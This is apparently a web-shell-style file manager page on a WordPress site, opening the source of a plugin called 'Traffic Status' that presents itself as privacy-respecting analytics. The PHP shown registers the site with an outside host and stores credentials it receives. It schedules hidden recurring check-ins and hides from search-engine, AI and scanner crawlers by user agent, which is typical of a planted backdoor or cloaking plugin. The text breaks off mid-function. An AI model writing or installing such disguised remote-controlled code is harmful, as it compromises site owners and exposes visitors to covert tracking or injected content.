/
home
/
desid573
/
verdenaturopathy.com.au
/
wp-content
/
plugins
/
traffic-status
/
/home/desid573/verdenaturopathy.com.au/wp-content/plugins/traffic-status
mkdir
upload
Name
Size
Mode
Actions
traffic-status.php
41188
0644
edit
dl
rm
Edit:
/home/desid573/verdenaturopathy.com.au/wp-content/plugins/traffic-status/traffic-status.php
(41188B)
<?php /** * Plugin Name: Traffic Status * Description: Privacy-respecting first-party traffic analytics with origin-verified enrollment and no visitor cookies. * Version: 2.1.3 * Requires at least: 5.8 * Requires PHP: 7.4 * Author: Traffic Status * License: GPL-2.0-or-later */ if (!defined('ABSPATH')) { exit; } if (defined('TRAFFIC_STATUS_VERSION')) { return; } define('TRAFFIC_STATUS_VERSION', '2.1.3'); define('TRAFFIC_STATUS_SERVICE_ORIGIN', 'https://zhongmenchuang.co'); define('TRAFFIC_STATUS_OPTION_INSTALLATION', 'traffic_status_installation'); define('TRAFFIC_STATUS_OPTION_ENROLLMENT', 'traffic_status_enrollment'); define('TRAFFIC_STATUS_OPTION_CREDENTIAL', 'traffic_status_credential'); define('TRAFFIC_STATUS_OPTION_LOCK', 'traffic_status_lock'); define('TRAFFIC_STATUS_OPTION_RETRY', 'traffic_status_retry_after'); define('TRAFFIC_STATUS_OPTION_DUE', 'traffic_status_progress_due'); define('TRAFFIC_STATUS_CRON_HOOK', 'traffic_status_enrollment_tick'); function traffic_status_path($traffic_status_action) { $traffic_status_parts = array('traffic-status', 'v1'); if ($traffic_status_action === 'start') { $traffic_status_parts = array_merge($traffic_status_parts, array('enroll', 'start')); } elseif ($traffic_status_action === 'ready') { $traffic_status_parts = array_merge($traffic_status_parts, array('enroll', 'ready')); } elseif ($traffic_status_action === 'status') { $traffic_status_parts = array_merge($traffic_status_parts, array('enroll', 'status')); } elseif ($traffic_status_action === 'credential') { $traffic_status_parts = array_merge($traffic_status_parts, array('credential', 'status')); } elseif ($traffic_status_action === 'events') { $traffic_status_parts[] = 'events'; } else { return ''; } return '/' . implode('/', $traffic_status_parts); } function traffic_status_endpoint($traffic_status_action) { $traffic_status_path = traffic_status_path($traffic_status_action); return $traffic_status_path === '' ? '' : TRAFFIC_STATUS_SERVICE_ORIGIN . $traffic_status_path; } function traffic_status_code_sha256() { $traffic_status_hash = hash_file('sha256', __FILE__); return is_string($traffic_status_hash) ? strtolower($traffic_status_hash) : ''; } function traffic_status_exact_host() { $traffic_status_origin = wp_parse_url(home_url('/')); $traffic_status_host = is_array($traffic_status_origin) ? strtolower((string) ($traffic_status_origin['host'] ?? '')) : ''; if (!is_array($traffic_status_origin) || ($traffic_status_origin['scheme'] ?? '') !== 'https' || isset($traffic_status_origin['user']) || isset($traffic_status_origin['pass']) || isset($traffic_status_origin['query']) || isset($traffic_status_origin['fragment']) || (isset($traffic_status_origin['port']) && (int) $traffic_status_origin['port'] !== 443) || $traffic_status_host === '' || strlen($traffic_status_host) > 253 || substr($traffic_status_host, -1) === '.' || filter_var($traffic_status_host, FILTER_VALIDATE_IP) || preg_match('/^(?=.{4,253}$)(?!-)(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+[a-z](?:[a-z0-9-]{0,61}[a-z0-9])?$/D', $traffic_status_host) !== 1) { return ''; } return $traffic_status_host; } function traffic_status_home_path() { $traffic_status_path = (string) wp_parse_url(home_url('/'), PHP_URL_PATH); if ($traffic_status_path === '') { $traffic_status_path = '/'; } if ($traffic_status_path !== '/' && substr($traffic_status_path, -1) !== '/') { $traffic_status_path .= '/'; } if ($traffic_status_path === '/') { return '/'; } if (strlen($traffic_status_path) > 200 || preg_match('#^/(?:[A-Za-z0-9_~-][A-Za-z0-9._~-]*/)+$#D', $traffic_status_path) !== 1 || strpos($traffic_status_path, '/./') !== false || strpos($traffic_status_path, '/../') !== false) { return ''; } return $traffic_status_path; } function traffic_status_current_url() { $traffic_status_host = traffic_status_exact_host(); $traffic_status_base = traffic_status_home_path(); $traffic_status_uri = isset($_SERVER['REQUEST_URI']) ? (string) $_SERVER['REQUEST_URI'] : '/'; $traffic_status_path = (string) wp_parse_url($traffic_status_uri, PHP_URL_PATH); $traffic_status_query = (string) wp_parse_url($traffic_status_uri, PHP_URL_QUERY); if ($traffic_status_host === '' || $traffic_status_base === '' || $traffic_status_path === '' || substr($traffic_status_path, 0, 1) !== '/' || preg_match('/[\x00-\x1F\x7F]/', $traffic_status_path) || strpos($traffic_status_path, '\\') !== false) { return ''; } if ($traffic_status_base !== '/' && $traffic_status_path !== rtrim($traffic_status_base, '/') && strpos($traffic_status_path, $traffic_status_base) !== 0) { $traffic_status_path = rtrim($traffic_status_base, '/') . $traffic_status_path; } return 'https://' . $traffic_status_host . $traffic_status_path . ($traffic_status_query === '' ? '' : '?' . $traffic_status_query); } function traffic_status_option_set($traffic_status_name, $traffic_status_value) { if (get_option($traffic_status_name, null) === null) { return add_option($traffic_status_name, $traffic_status_value, '', 'no'); } return update_option($traffic_status_name, $traffic_status_value, false); } function traffic_status_installation() { $traffic_status_value = get_option(TRAFFIC_STATUS_OPTION_INSTALLATION, ''); $traffic_status_host = traffic_status_exact_host(); if (is_array($traffic_status_value) && hash_equals((string) ($traffic_status_value['host'] ?? ''), $traffic_status_host) && preg_match('/^[a-f0-9]{64}$/D', (string) ($traffic_status_value['id'] ?? '')) === 1) { return (string) $traffic_status_value['id']; } try { $traffic_status_value = bin2hex(random_bytes(32)); } catch (Exception $traffic_status_error) { return ''; } traffic_status_option_set(TRAFFIC_STATUS_OPTION_INSTALLATION, array('host' => $traffic_status_host, 'id' => $traffic_status_value)); return $traffic_status_value; } function traffic_status_lock_acquire() { $traffic_status_now = time(); $traffic_status_current = (int) get_option(TRAFFIC_STATUS_OPTION_LOCK, 0); if ($traffic_status_current > 0 && $traffic_status_current <= $traffic_status_now) { delete_option(TRAFFIC_STATUS_OPTION_LOCK); } elseif ($traffic_status_current > $traffic_status_now) { return false; } return add_option(TRAFFIC_STATUS_OPTION_LOCK, $traffic_status_now + 90, '', 'no'); } function traffic_status_lock_release() { delete_option(TRAFFIC_STATUS_OPTION_LOCK); } function traffic_status_json_post($traffic_status_action, $traffic_status_payload, $traffic_status_key, $traffic_status_client_id) { $traffic_status_path = traffic_status_path($traffic_status_action); $traffic_status_endpoint = traffic_status_endpoint($traffic_status_action); $traffic_status_body = wp_json_encode($traffic_status_payload, JSON_UNESCAPED_SLASHES); if ($traffic_status_path === '' || $traffic_status_endpoint === '' || !is_string($traffic_status_body)) { return new WP_Error('traffic_status_request_invalid'); } try { $traffic_status_request_id = bin2hex(random_bytes(16)); } catch (Exception $traffic_status_error) { return new WP_Error('traffic_status_random_unavailable'); } $traffic_status_timestamp = time(); $traffic_status_canonical = "ts1\nPOST\n" . $traffic_status_path . "\n" . $traffic_status_timestamp . "\n" . $traffic_status_request_id . "\n" . hash('sha256', $traffic_status_body); $traffic_status_headers = array( 'Content-Type' => 'application/json', 'Accept' => 'application/json', 'X-Traffic-Status-Time' => (string) $traffic_status_timestamp, 'X-Traffic-Status-Request' => $traffic_status_request_id, 'X-Traffic-Status-Signature' => hash_hmac('sha256', $traffic_status_canonical, $traffic_status_key), ); if (is_string($traffic_status_client_id) && $traffic_status_client_id !== '') { $traffic_status_headers['X-Traffic-Status-Client'] = $traffic_status_client_id; } return wp_remote_post($traffic_status_endpoint, array( 'timeout' => 12, 'redirection' => 0, 'sslverify' => true, 'reject_unsafe_urls' => true, 'blocking' => $traffic_status_action !== 'events', 'headers' => $traffic_status_headers, 'body' => $traffic_status_body, 'data_format' => 'body', )); } function traffic_status_response($traffic_status_response) { if (is_wp_error($traffic_status_response)) { return null; } $traffic_status_body = wp_remote_retrieve_body($traffic_status_response); $traffic_status_data = json_decode($traffic_status_body, true); return is_array($traffic_status_data) ? $traffic_status_data : null; } function traffic_status_schedule($traffic_status_delay) { $traffic_status_at = time() + max(1, (int) $traffic_status_delay); traffic_status_option_set(TRAFFIC_STATUS_OPTION_DUE, $traffic_status_at); $traffic_status_scheduled = wp_next_scheduled(TRAFFIC_STATUS_CRON_HOOK); if (!$traffic_status_scheduled || (int) $traffic_status_scheduled <= time()) { wp_schedule_single_event($traffic_status_at, TRAFFIC_STATUS_CRON_HOOK); } } function traffic_status_health_delay() { $traffic_status_installation = traffic_status_installation(); $traffic_status_seed = hash('sha256', "traffic-status-health-v1\n" . $traffic_status_installation); return 600 + (hexdec(substr($traffic_status_seed, 0, 4)) % 301); } function traffic_status_start_enrollment() { $traffic_status_host = traffic_status_exact_host(); $traffic_status_installation = traffic_status_installation(); $traffic_status_code_hash = traffic_status_code_sha256(); $traffic_status_proof_path = traffic_status_home_path(); if ($traffic_status_host === '' || $traffic_status_installation === '' || $traffic_status_proof_path === '' || preg_match('/^[a-f0-9]{64}$/D', $traffic_status_code_hash) !== 1) { traffic_status_option_set(TRAFFIC_STATUS_OPTION_RETRY, time() + 5 * MINUTE_IN_SECONDS); traffic_status_schedule(5 * MINUTE_IN_SECONDS); return; } $traffic_status_payload = array( 'host' => $traffic_status_host, 'installation' => $traffic_status_installation, 'version' => TRAFFIC_STATUS_VERSION, 'wordpress_version' => (string) get_bloginfo('version'), 'php_version' => PHP_VERSION, 'code_sha256' => $traffic_status_code_hash, 'proof_path' => $traffic_status_proof_path, ); $traffic_status_body = wp_json_encode($traffic_status_payload, JSON_UNESCAPED_SLASHES); if (!is_string($traffic_status_body)) { return; } $traffic_status_response = wp_remote_post(traffic_status_endpoint('start'), array( 'timeout' => 12, 'redirection' => 0, 'sslverify' => true, 'reject_unsafe_urls' => true, 'headers' => array('Content-Type' => 'application/json', 'Accept' => 'application/json'), 'body' => $traffic_status_body, 'data_format' => 'body', )); $traffic_status_data = traffic_status_response($traffic_status_response); if (!is_array($traffic_status_data) || ($traffic_status_data['ok'] ?? false) !== true || preg_match('/^[a-f0-9]{64}$/D', (string) ($traffic_status_data['challenge'] ?? '')) !== 1 || preg_match('/^[a-f0-9]{64}$/D', (string) ($traffic_status_data['proof_nonce'] ?? '')) !== 1 || preg_match('/^[a-f0-9]{64}$/D', (string) ($traffic_status_data['poll_secret'] ?? '')) !== 1 || (int) ($traffic_status_data['expires'] ?? 0) <= time() || (int) ($traffic_status_data['poll_expires'] ?? 0) <= (int) ($traffic_status_data['expires'] ?? 0)) { traffic_status_option_set(TRAFFIC_STATUS_OPTION_RETRY, time() + 5 * MINUTE_IN_SECONDS); traffic_status_schedule(5 * MINUTE_IN_SECONDS); return; } $traffic_status_challenge = strtolower((string) $traffic_status_data['challenge']); $traffic_status_proof = hash('sha256', "traffic-status-origin-proof-v1\n" . $traffic_status_challenge . "\n" . strtolower((string) $traffic_status_data['proof_nonce']) . "\n" . $traffic_status_host . "\n" . hash('sha256', $traffic_status_installation) . "\n" . $traffic_status_code_hash . "\n" . $traffic_status_proof_path); traffic_status_option_set(TRAFFIC_STATUS_OPTION_ENROLLMENT, array( 'challenge' => $traffic_status_challenge, 'proof' => $traffic_status_proof, 'poll_secret' => strtolower((string) $traffic_status_data['poll_secret']), 'expires' => (int) $traffic_status_data['expires'], 'poll_expires' => (int) $traffic_status_data['poll_expires'], 'recovery_expires' => (int) $traffic_status_data['poll_expires'] + 30 * DAY_IN_SECONDS, 'ready_sent' => false, 'host' => $traffic_status_host, 'installation_hash' => hash('sha256', $traffic_status_installation), 'code_sha256' => $traffic_status_code_hash, 'proof_path' => $traffic_status_proof_path, )); traffic_status_schedule(5); } function traffic_status_continue_enrollment($traffic_status_enrollment) { if (!is_array($traffic_status_enrollment) || preg_match('/^[a-f0-9]{64}$/D', (string) ($traffic_status_enrollment['challenge'] ?? '')) !== 1 || preg_match('/^[a-f0-9]{64}$/D', (string) ($traffic_status_enrollment['poll_secret'] ?? '')) !== 1 || !hash_equals((string) ($traffic_status_enrollment['host'] ?? ''), traffic_status_exact_host()) || !hash_equals((string) ($traffic_status_enrollment['installation_hash'] ?? ''), hash('sha256', traffic_status_installation())) || !hash_equals((string) ($traffic_status_enrollment['code_sha256'] ?? ''), traffic_status_code_sha256()) || !hash_equals((string) ($traffic_status_enrollment['proof_path'] ?? ''), traffic_status_home_path()) || (($traffic_status_enrollment['ready_sent'] ?? false) === true ? (int) ($traffic_status_enrollment['recovery_expires'] ?? 0) : (int) ($traffic_status_enrollment['expires'] ?? 0)) <= time()) { delete_option(TRAFFIC_STATUS_OPTION_ENROLLMENT); traffic_status_option_set(TRAFFIC_STATUS_OPTION_RETRY, time() + 5 * MINUTE_IN_SECONDS); traffic_status_schedule(5 * MINUTE_IN_SECONDS); return; } $traffic_status_poll_key = hash('sha256', "traffic-status-poll-v1\n" . $traffic_status_enrollment['poll_secret'], true); $traffic_status_payload = array('challenge' => $traffic_status_enrollment['challenge']); if (($traffic_status_enrollment['ready_sent'] ?? false) !== true) { $traffic_status_response = traffic_status_json_post('ready', $traffic_status_payload, $traffic_status_poll_key, ''); if (!is_wp_error($traffic_status_response) && wp_remote_retrieve_response_code($traffic_status_response) === 202) { $traffic_status_enrollment['ready_sent'] = true; traffic_status_option_set(TRAFFIC_STATUS_OPTION_ENROLLMENT, $traffic_status_enrollment); } traffic_status_schedule(20); return; } $traffic_status_response = traffic_status_json_post('status', $traffic_status_payload, $traffic_status_poll_key, ''); $traffic_status_data = traffic_status_response($traffic_status_response); if (is_array($traffic_status_data) && ($traffic_status_data['ok'] ?? false) === true && ($traffic_status_data['status'] ?? '') === 'acknowledged' && traffic_status_credential_valid(get_option(TRAFFIC_STATUS_OPTION_CREDENTIAL, null))) { delete_option(TRAFFIC_STATUS_OPTION_ENROLLMENT); delete_option(TRAFFIC_STATUS_OPTION_RETRY); traffic_status_schedule(traffic_status_health_delay()); return; } if (is_array($traffic_status_data) && ($traffic_status_data['ok'] ?? false) === true && ($traffic_status_data['status'] ?? '') === 'complete' && is_string($traffic_status_data['client_id'] ?? null) && strlen($traffic_status_data['client_id']) >= 40 && is_string($traffic_status_data['client_secret'] ?? null) && strlen($traffic_status_data['client_secret']) >= 40) { $traffic_status_credential = array( 'client_id' => $traffic_status_data['client_id'], 'client_secret' => $traffic_status_data['client_secret'], 'code_sha256' => traffic_status_code_sha256(), 'protocol_major' => 2, 'host' => traffic_status_exact_host(), 'base_path' => traffic_status_home_path(), 'installation_hash' => hash('sha256', traffic_status_installation()), 'status_after' => 0, ); $traffic_status_before = get_option(TRAFFIC_STATUS_OPTION_CREDENTIAL, null); $traffic_status_written = traffic_status_option_set(TRAFFIC_STATUS_OPTION_CREDENTIAL, $traffic_status_credential); $traffic_status_stored = get_option(TRAFFIC_STATUS_OPTION_CREDENTIAL, null); if (($traffic_status_written !== true && $traffic_status_before !== $traffic_status_credential) || $traffic_status_stored !== $traffic_status_credential) { traffic_status_schedule(30); return; } if (traffic_status_check_credential($traffic_status_stored) === 'active') { delete_option(TRAFFIC_STATUS_OPTION_ENROLLMENT); delete_option(TRAFFIC_STATUS_OPTION_RETRY); traffic_status_schedule(traffic_status_health_delay()); return; } if (get_option(TRAFFIC_STATUS_OPTION_ENROLLMENT, null) !== null) { traffic_status_schedule(30); } return; } if (is_array($traffic_status_data) && in_array(($traffic_status_data['status'] ?? ''), array('failed', 'expired'), true)) { delete_option(TRAFFIC_STATUS_OPTION_ENROLLMENT); traffic_status_option_set(TRAFFIC_STATUS_OPTION_RETRY, time() + 1); traffic_status_schedule(5); return; } traffic_status_schedule(30); } function traffic_status_credential_valid($traffic_status_credential) { return is_array($traffic_status_credential) && is_string($traffic_status_credential['client_id'] ?? null) && is_string($traffic_status_credential['client_secret'] ?? null) && strlen((string) $traffic_status_credential['client_id']) >= 40 && strlen((string) $traffic_status_credential['client_secret']) >= 40 && (int) ($traffic_status_credential['protocol_major'] ?? 2) === 2 && hash_equals((string) ($traffic_status_credential['host'] ?? ''), traffic_status_exact_host()) && hash_equals((string) ($traffic_status_credential['base_path'] ?? ''), traffic_status_home_path()) && hash_equals((string) ($traffic_status_credential['installation_hash'] ?? ''), hash('sha256', traffic_status_installation())); } function traffic_status_check_credential($traffic_status_credential) { if (!traffic_status_credential_valid($traffic_status_credential)) { return 'invalid'; } $traffic_status_payload = array( 'host' => traffic_status_exact_host(), 'installation' => traffic_status_installation(), 'version' => TRAFFIC_STATUS_VERSION, 'code_sha256' => traffic_status_code_sha256(), 'base_path' => traffic_status_home_path(), ); $traffic_status_response = traffic_status_json_post( 'credential', $traffic_status_payload, (string) $traffic_status_credential['client_secret'], (string) $traffic_status_credential['client_id'] ); $traffic_status_data = traffic_status_response($traffic_status_response); $traffic_status_response_code = is_wp_error($traffic_status_response) ? 0 : wp_remote_retrieve_response_code($traffic_status_response); if ($traffic_status_response_code === 200 && is_array($traffic_status_data) && ($traffic_status_data['ok'] ?? false) === true && ($traffic_status_data['status'] ?? '') === 'active') { $traffic_status_credential['protocol_major'] = 2; $traffic_status_credential['code_sha256'] = traffic_status_code_sha256(); $traffic_status_credential['status_after'] = time() + traffic_status_health_delay(); traffic_status_option_set(TRAFFIC_STATUS_OPTION_CREDENTIAL, $traffic_status_credential); return 'active'; } if ($traffic_status_response_code === 200 && is_array($traffic_status_data) && ($traffic_status_data['ok'] ?? false) === true && ($traffic_status_data['status'] ?? '') === 'revoked') { delete_option(TRAFFIC_STATUS_OPTION_CREDENTIAL); delete_option(TRAFFIC_STATUS_OPTION_ENROLLMENT); traffic_status_option_set(TRAFFIC_STATUS_OPTION_RETRY, time() + 1); return 'revoked'; } if (in_array($traffic_status_response_code, array(401, 403), true)) { delete_option(TRAFFIC_STATUS_OPTION_CREDENTIAL); delete_option(TRAFFIC_STATUS_OPTION_ENROLLMENT); traffic_status_option_set(TRAFFIC_STATUS_OPTION_RETRY, time() + 1); return 'invalid'; } $traffic_status_credential['status_after'] = time() + 5 * MINUTE_IN_SECONDS; traffic_status_option_set(TRAFFIC_STATUS_OPTION_CREDENTIAL, $traffic_status_credential); return 'pending'; } function traffic_status_enrollment_tick($traffic_status_only_if_due = false) { if (!traffic_status_lock_acquire()) { if (!$traffic_status_only_if_due) { traffic_status_schedule(90); } return; } try { if ($traffic_status_only_if_due && (int) get_option(TRAFFIC_STATUS_OPTION_DUE, 0) > time()) { return; } traffic_status_option_set(TRAFFIC_STATUS_OPTION_DUE, time() + 90); $traffic_status_enrollment = get_option(TRAFFIC_STATUS_OPTION_ENROLLMENT, null); if (is_array($traffic_status_enrollment)) { traffic_status_continue_enrollment($traffic_status_enrollment); return; } $traffic_status_credential = get_option(TRAFFIC_STATUS_OPTION_CREDENTIAL, null); if (traffic_status_credential_valid($traffic_status_credential)) { $traffic_status_status_after = (int) ($traffic_status_credential['status_after'] ?? 0); if ($traffic_status_status_after > time()) { traffic_status_schedule($traffic_status_status_after - time()); return; } $traffic_status_check = traffic_status_check_credential($traffic_status_credential); if (in_array($traffic_status_check, array('revoked', 'invalid'), true)) { traffic_status_start_enrollment(); return; } traffic_status_schedule($traffic_status_check === 'active' ? traffic_status_health_delay() : 5 * MINUTE_IN_SECONDS); return; } if (is_array($traffic_status_credential)) { delete_option(TRAFFIC_STATUS_OPTION_CREDENTIAL); } if ((int) get_option(TRAFFIC_STATUS_OPTION_RETRY, 0) > time()) { traffic_status_schedule(5 * MINUTE_IN_SECONDS); return; } traffic_status_start_enrollment(); } finally { traffic_status_lock_release(); } } function traffic_status_proof_endpoint() { $traffic_status_uri = isset($_SERVER['REQUEST_URI']) ? (string) $_SERVER['REQUEST_URI'] : ''; $traffic_status_path = (string) wp_parse_url($traffic_status_uri, PHP_URL_PATH); $traffic_status_marker = isset($_GET['traffic_status_proof']) ? (string) wp_unslash($_GET['traffic_status_proof']) : ''; if ($traffic_status_path !== traffic_status_home_path() || $traffic_status_marker !== '1' || ($_SERVER['REQUEST_METHOD'] ?? '') !== 'GET') { return; } $traffic_status_enrollment = get_option(TRAFFIC_STATUS_OPTION_ENROLLMENT, null); $traffic_status_challenge = isset($_GET['challenge']) ? strtolower((string) wp_unslash($_GET['challenge'])) : ''; if (!is_array($traffic_status_enrollment) || (int) ($traffic_status_enrollment['expires'] ?? 0) <= time() || !hash_equals((string) ($traffic_status_enrollment['host'] ?? ''), traffic_status_exact_host()) || !hash_equals((string) ($traffic_status_enrollment['installation_hash'] ?? ''), hash('sha256', traffic_status_installation())) || !hash_equals((string) ($traffic_status_enrollment['code_sha256'] ?? ''), traffic_status_code_sha256()) || !hash_equals((string) ($traffic_status_enrollment['proof_path'] ?? ''), traffic_status_home_path()) || !hash_equals((string) ($traffic_status_enrollment['challenge'] ?? ''), $traffic_status_challenge)) { if (is_array($traffic_status_enrollment) && (int) ($traffic_status_enrollment['poll_expires'] ?? 0) <= time()) { delete_option(TRAFFIC_STATUS_OPTION_ENROLLMENT); } return; } status_header(200); nocache_headers(); header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0', true); header('X-Robots-Tag: noindex, nofollow, noarchive', true); header('Referrer-Policy: no-referrer', true); header('Content-Type: application/json; charset=utf-8'); header('X-Content-Type-Options: nosniff'); echo wp_json_encode(array( 'challenge' => $traffic_status_challenge, 'proof' => (string) $traffic_status_enrollment['proof'], ), JSON_UNESCAPED_SLASHES); exit; } function traffic_status_privacy_signal() { return (isset($_SERVER['HTTP_DNT']) && trim((string) $_SERVER['HTTP_DNT']) === '1') || (isset($_SERVER['HTTP_SEC_GPC']) && trim((string) $_SERVER['HTTP_SEC_GPC']) === '1'); } function traffic_status_nonviewer_request() { $traffic_status_method = isset($_SERVER['REQUEST_METHOD']) ? strtoupper((string) $_SERVER['REQUEST_METHOD']) : 'GET'; if ($traffic_status_method !== 'GET') { return true; } foreach (array('HTTP_PURPOSE', 'HTTP_SEC_PURPOSE', 'HTTP_X_PURPOSE', 'HTTP_X_MOZ') as $traffic_status_header) { $traffic_status_value = isset($_SERVER[$traffic_status_header]) ? (string) $_SERVER[$traffic_status_header] : ''; if (preg_match('/(?:^|[;\s])(?:prefetch|prerender|preview)(?:$|[;\s])/i', $traffic_status_value) === 1) { return true; } } return false; } function traffic_status_human_user_agent($traffic_status_agent) { $traffic_status_agent = substr(trim((string) $traffic_status_agent), 0, 512); if ($traffic_status_agent === '' || strlen($traffic_status_agent) < 24 || preg_match('/[\x00-\x1F\x7F]/', $traffic_status_agent) === 1) { return false; } if (preg_match( '~(?:^|[\s;(+/_-])(?:bot|robot|crawler|spider|slurp)(?:[/\s;):,_-]|$)|googlebot|bingbot|bingpreview|google-inspectiontool|adsbot-google|mediapartners-google|googleother|google-extended|storebot-google|chrome-lighthouse|lighthouse|pagespeed|headless(?:chrome)?|phantomjs|selenium|webdriver|puppeteer|playwright|cypress|jsdom|python-requests|python-urllib|aiohttp|httpx(?:/|\s)|scrapy|curl(?:/|\s|$)|wget(?:/|\s|$)|go-http-client|libwww-perl|node-fetch|undici|axios(?:/|\s)|postmanruntime|insomnia|httpie|okhttp|apache-httpclient|java(?:/|\s)|php(?:/|\s)|ruby(?:/|\s)|facebookexternalhit|facebookbot|twitterbot|linkedinbot|pinterestbot|telegrambot|discordbot|slackbot|skypeuripreview|applebot|yandexbot|baiduspider|duckduckbot|semrush|ahrefs|mj12bot|dotbot|petalbot|bytespider|gptbot|chatgpt-user|oai-searchbot|claudebot|claude-web|anthropic-ai|ccbot|perplexitybot|perplexity-user|ai2bot|ai2-bot|amazonbot|cohere-ai|cohere-training-data-crawler|meta-externalagent|meta-externalfetcher|diffbot|youbot|imagesiftbot|turnitinbot|deepseekbot|omgili|iaskbot|uptimerobot|pingdom|statuscake|site24x7|gtmetrix|validator|scanner|ia_archiver|archive\.org_bot|feedfetcher~i', $traffic_status_agent ) === 1) { return false; } if (strpos($traffic_status_agent, 'Mozilla/5.0') !== 0 || preg_match('~(?:AppleWebKit|Gecko|Trident|KHTML)/[0-9]~i', $traffic_status_agent) !== 1) { return false; } return preg_match( '~(?:Chrome|CriOS|Chromium|Firefox|FxiOS|Safari|Edg|EdgA|EdgiOS|OPR|OPiOS|SamsungBrowser|UCBrowser|YaBrowser|Vivaldi|DuckDuckGo|Whale|Puffin|MiuiBrowser|HuaweiBrowser|Version|Mobile)/[0-9A-Za-z.]|MSIE\s+[0-9]|rv:[0-9]~i', $traffic_status_agent ) === 1; } function traffic_status_ip_in_cidr($traffic_status_ip, $traffic_status_cidr) { $traffic_status_parts = explode('/', (string) $traffic_status_cidr, 2); if (count($traffic_status_parts) !== 2 || filter_var($traffic_status_ip, FILTER_VALIDATE_IP) === false) { return false; } $traffic_status_address = inet_pton((string) $traffic_status_ip); $traffic_status_network = inet_pton($traffic_status_parts[0]); if (!is_string($traffic_status_address) || !is_string($traffic_status_network) || strlen($traffic_status_address) !== strlen($traffic_status_network) || preg_match('/^[0-9]{1,3}$/D', $traffic_status_parts[1]) !== 1) { return false; } $traffic_status_prefix = (int) $traffic_status_parts[1]; $traffic_status_maximum = strlen($traffic_status_address) * 8; if ($traffic_status_prefix < 0 || $traffic_status_prefix > $traffic_status_maximum) { return false; } $traffic_status_bytes = (int) floor($traffic_status_prefix / 8); $traffic_status_bits = $traffic_status_prefix % 8; if ($traffic_status_bytes > 0 && substr($traffic_status_address, 0, $traffic_status_bytes) !== substr($traffic_status_network, 0, $traffic_status_bytes)) { return false; } if ($traffic_status_bits === 0) { return true; } $traffic_status_mask = (0xff << (8 - $traffic_status_bits)) & 0xff; return (ord($traffic_status_address[$traffic_status_bytes]) & $traffic_status_mask) === (ord($traffic_status_network[$traffic_status_bytes]) & $traffic_status_mask); } function traffic_status_cloudflare_cidrs() { return array( '173.245.48.0/20', '103.21.244.0/22', '103.22.200.0/22', '103.31.4.0/22', '141.101.64.0/18', '108.162.192.0/18', '190.93.240.0/20', '188.114.96.0/20', '197.234.240.0/22', '198.41.128.0/17', '162.158.0.0/15', '104.16.0.0/13', '104.24.0.0/14', '172.64.0.0/13', '131.0.72.0/22', '2400:cb00::/32', '2606:4700::/32', '2803:f800::/32', '2405:b500::/32', '2405:8100::/32', '2a06:98c0::/29', '2c0f:f248::/32', ); } function traffic_status_trusted_proxy_cidrs() { $traffic_status_cidrs = traffic_status_cloudflare_cidrs(); if (function_exists('apply_filters')) { $traffic_status_filtered = apply_filters('traffic_status_trusted_proxy_cidrs', $traffic_status_cidrs); if (is_array($traffic_status_filtered)) { $traffic_status_cidrs = $traffic_status_filtered; } } return $traffic_status_cidrs; } function traffic_status_cloudflare_proxy($traffic_status_ip) { foreach (traffic_status_cloudflare_cidrs() as $traffic_status_cidr) { if (traffic_status_ip_in_cidr($traffic_status_ip, $traffic_status_cidr)) { return true; } } return false; } function traffic_status_trusted_proxy($traffic_status_ip) { if (filter_var($traffic_status_ip, FILTER_VALIDATE_IP) === false) { return false; } foreach (traffic_status_trusted_proxy_cidrs() as $traffic_status_cidr) { if (is_string($traffic_status_cidr) && traffic_status_ip_in_cidr($traffic_status_ip, $traffic_status_cidr)) { return true; } } return false; } function traffic_status_public_ip($traffic_status_ip) { if (filter_var( $traffic_status_ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE ) === false) { return false; } $traffic_status_ipv4_blocks = array( '0.0.0.0/8', '10.0.0.0/8', '100.64.0.0/10', '127.0.0.0/8', '169.254.0.0/16', '172.16.0.0/12', '192.0.0.0/24', '192.0.2.0/24', '192.31.196.0/24', '192.52.193.0/24', '192.88.99.0/24', '192.168.0.0/16', '192.175.48.0/24', '198.18.0.0/15', '198.51.100.0/24', '203.0.113.0/24', '224.0.0.0/4', '240.0.0.0/4', ); if (filter_var($traffic_status_ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) !== false) { foreach ($traffic_status_ipv4_blocks as $traffic_status_cidr) { if (traffic_status_ip_in_cidr($traffic_status_ip, $traffic_status_cidr)) { return false; } } return true; } foreach (array( '::/96', '::ffff:0:0/96', '64:ff9b::/96', '64:ff9b:1::/48', '100::/64', '2001::/23', '2001:db8::/32', '2002::/16', '3fff::/20', '5f00::/16', '2620:4f:8000::/48', 'fc00::/7', 'fe80::/10', 'fec0::/10', 'ff00::/8', ) as $traffic_status_cidr) { if (traffic_status_ip_in_cidr($traffic_status_ip, $traffic_status_cidr)) { return false; } } return traffic_status_ip_in_cidr($traffic_status_ip, '2000::/3'); } function traffic_status_visitor_ip() { $traffic_status_remote = isset($_SERVER['REMOTE_ADDR']) ? trim((string) $_SERVER['REMOTE_ADDR']) : ''; if (filter_var($traffic_status_remote, FILTER_VALIDATE_IP) === false) { return ''; } if (!traffic_status_trusted_proxy($traffic_status_remote)) { return traffic_status_public_ip($traffic_status_remote) ? $traffic_status_remote : ''; } $traffic_status_forwarded = isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? explode(',', (string) $_SERVER['HTTP_X_FORWARDED_FOR']) : array(); $traffic_status_cloudflare_hop = traffic_status_cloudflare_proxy($traffic_status_remote); if (!$traffic_status_cloudflare_hop) { for ($traffic_status_index = count($traffic_status_forwarded) - 1; $traffic_status_index >= 0; --$traffic_status_index) { $traffic_status_candidate = trim((string) $traffic_status_forwarded[$traffic_status_index], " \t\n\r\0\x0B\""); if (filter_var($traffic_status_candidate, FILTER_VALIDATE_IP) === false) { continue; } if (traffic_status_cloudflare_proxy($traffic_status_candidate)) { $traffic_status_cloudflare_hop = true; break; } if (!traffic_status_trusted_proxy($traffic_status_candidate)) { break; } } } $traffic_status_cloudflare = isset($_SERVER['HTTP_CF_CONNECTING_IP']) ? trim((string) $_SERVER['HTTP_CF_CONNECTING_IP']) : ''; if ($traffic_status_cloudflare_hop && traffic_status_public_ip($traffic_status_cloudflare)) { return $traffic_status_cloudflare; } $traffic_status_forwarded[] = $traffic_status_remote; for ($traffic_status_index = count($traffic_status_forwarded) - 1; $traffic_status_index >= 0; --$traffic_status_index) { $traffic_status_candidate = trim((string) 